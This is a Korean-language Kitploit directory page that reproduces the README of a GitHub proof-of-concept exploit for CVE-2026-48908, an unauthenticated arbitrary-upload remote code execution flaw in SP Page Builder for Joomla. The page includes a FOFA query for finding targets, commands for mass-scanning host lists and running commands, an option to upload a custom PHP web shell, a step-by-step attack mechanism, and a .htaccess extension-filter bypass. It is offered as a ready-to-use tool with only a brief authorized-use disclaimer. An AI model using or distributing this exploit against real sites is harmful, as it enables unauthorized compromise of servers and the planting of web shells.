Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-48908 — CVE-2026-48908에 대한 인증되지 않은 RCE PoC. SP Page Builder(Joomla) 임의 파일 업로드 및 원격 코드 실행 익스플로잇으로, 대량 스캔 기능을 지원합니다. | Kitploit
도구/GitHubGitHub/ayiezola/cve-2026-48908
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingPayload Development
GitHubayiezola/cve-2026-48908

CVE-2026-48908

CVE-2026-48908에 대한 인증되지 않은 RCE PoC. SP Page Builder(Joomla) 임의 파일 업로드 및 원격 코드 실행 익스플로잇으로, 대량 스캔 기능을 지원합니다.

저장소 보기
12개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-48908 — SP Page Builder 인증 없이 원격 코드 실행

SP Page Builder(com_sppagebuilder) Joomla ≤ 6.6.1용은 인증되지 않은 공격자가 임의의 파일을 업로드하고 원격 코드 실행을 달성할 수 있게 합니다.

필드값
CVECVE-2026-48908
CWECWE-284 (부적절한 접근 제어)
구성 요소SP Page Builder (com_sppagebuilder)
영향 범위1.0.0 – 6.6.1
수정 버전6.6.2
권한없음(인증 전)
사용자 상호 작용없음

FOFA 쿼리

root@kitploit:~
body="com_sppagebuilder"

사용법

요구 사항

  • Python 3.8+
root@kitploit:~
pip install -r requirements.txt

단일 호스트

root@kitploit:~
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # 탐지만 수행, 명령 실행 안 함
python3 exploit_poc.py https://target.example --token abc123   # 사용자 지정 토큰

대량 스캔

root@kitploit:~
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20개의 병렬 스레드
python3 exploit_poc.py --hosts ips.txt --no-verbose             # 자동 모드

사용자 지정 웹셸

root@kitploit:~
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

참고: --shell-file을 사용하면 스크립트는 웹셸만 업로드하고 URL을 보고합니다. -c 명령을 실행하거나 어떤 실행 테스트도 수행하지 않습니다. 업로드된 셸은 명령 입력을 독립적으로 처리해야 합니다.

옵션

데모

단일 호스트

대량 스캔

대량 스캔 1

대량 스캔 2

출력

스캔 후 세 가지 결과 파일이 저장됩니다:

작동 원리

이 익스플로잇은 com_sppagebuilder의 asset.uploadCustomIcon 작업을 남용합니다:

  1. 인증 없이 제작된 ZIP(아이콘 글꼴 패키지)을 POST합니다 — CSRF 토큰이 필요 없습니다.
  2. SPPB는 ZIP을 /media/com_sppagebuilder/assets/iconfont/<name>/fonts/에 압축 해제합니다.
  3. 업로드된 PHP 파일이 공개적으로 제공됩니다.

스크립트는 실행되는 확장자를 찾을 때까지 여러 PHP 확장자(.php, .PHP, .pHp, .Php, .pht, .phtml 등)를 시도합니다.

htaccess 우회

직접 PHP 확장자가 SPPB의 필터에 의해 차단되면 스크립트는 페이로드와 함께 .htaccess 파일을 드롭합니다:

root@kitploit:~
AddType application/x-httpd-php .PHP

이렇게 하면 웹 서버가 .PHP(대문자)를 PHP로 처리하도록 강제하여 SPPB의 대소문자 구분 차단 목록을 우회합니다. AllowOverride가 활성화되고 /media에서 PHP 실행이 허용되어야 합니다.

참고: .htaccess + 대문자 .PHP 우회는 모든 구성에서 작동하지 않을 수 있습니다. 실패하면 .png 또는 .jpeg 확장자를 대신 사용해 보세요. AllowOverride가 비활성화되었거나 /media에서 PHP 실행이 차단된 서버에서는 업로드된 셸도 실행되지 않습니다("쓰기 전용"으로 보고됨).

수정 사항

이 PoC는 https://github.com/papageo75/CVE-2026-48908-PoC/ 을 기반으로 하며 다음이 추가되었습니다:

1. 비 JSON 응답 처리

일부 서버 응답에는 실제 JSON 페이로드 앞에 비 JSON 접두사(예: cron 표현식 또는 기타 쓰레기)가 포함될 수 있습니다. 원래 PoC는 이러한 응답을 구문 분석할 때 r.json()에서 충돌합니다. 이 버전은 첫 번째 { 문자를 검색하고 JSON 하위 문자열 디코딩을 시도합니다:

이전:

root@kitploit:~
try:
    data = r.json()
except ValueError:
    return None

이후:

root@kitploit:~
try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

예시 — 유효한 JSON 응답:

root@kitploit:~
{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "["ico ico-x"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

예시 — 비 JSON 응답(JSON 앞에 접두사 쓰레기):

root@kitploit:~
cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. 대량 스캔 지원

다중 스레드 대량 스캔 기능이 추가되었습니다:

  • --hosts <file> — 파일에서 대상 로드(한 줄에 하나)
  • -j, --threads <n> — 병렬 스레드 수 설정(기본값: 10)
  • --no-verbose — 호스트별 상세 출력 표시 안 함
  • 결과는 분류된 .txt 파일로 그룹화되어 저장됩니다

3. 사용자 지정 웹셸 업로드

기본 제공 토큰 보호 셸 대신 사용자 지정 PHP 웹셸을 업로드하는 --shell-file <path> 옵션이 추가되었습니다. 이 옵션을 사용할 때:

  • 스크립트는 -c 명령을 실행하지 않고 셸을 업로드합니다
  • 실행 테스트(run())는 수행되지 않습니다
  • 작동하는 모든 확장자가 테스트되어 보고됩니다
  • 결과는 custom_shell_hosts.txt에 저장됩니다

면책 조항

승인된 사용 전용입니다. 공인된 침투 테스트, CTF 및 랩 대상에만 사용하세요. 이 도구를 어떻게 사용하는지에 대한 책임은 전적으로 사용자에게 있습니다.

도구 다운로드
플래그설명
url대상 URL(위치 인수 또는 --url)
--hosts <file>한 줄에 하나의 호스트가 있는 파일
-c, --cmd <cmd>실행할 명령(기본값: id)
--check탐지만 수행, 명령 실행 안 함
--token <token>업로드된 셸을 보호하는 비밀(기본값: 임의)
--shell-file <path>기본 제공 셸 대신 사용자 지정 PHP 웹셸 업로드
-j, --threads <n>대량 스캔용 병렬 스레드 수(기본값: 10)
--no-verbose호스트별 상세 출력 표시 안 함
파일내용
vulnerable_hosts.txtRCE 확인 + 웹셸 URL이 있는 호스트
not_vulnerable_hosts.txt패치되었거나 존재하지 않는 호스트
partial_vulnerable_hosts.txt파일 쓰기는 가능하지만 PHP 실행이 안 되는 호스트
custom_shell_hosts.txt사용자 지정 셸이 업로드된 호스트, 기본 URL별로 그룹화(--shell-file 사용 시에만 생성됨)
scan_results.json모든 호스트에 대한 전체 JSON 결과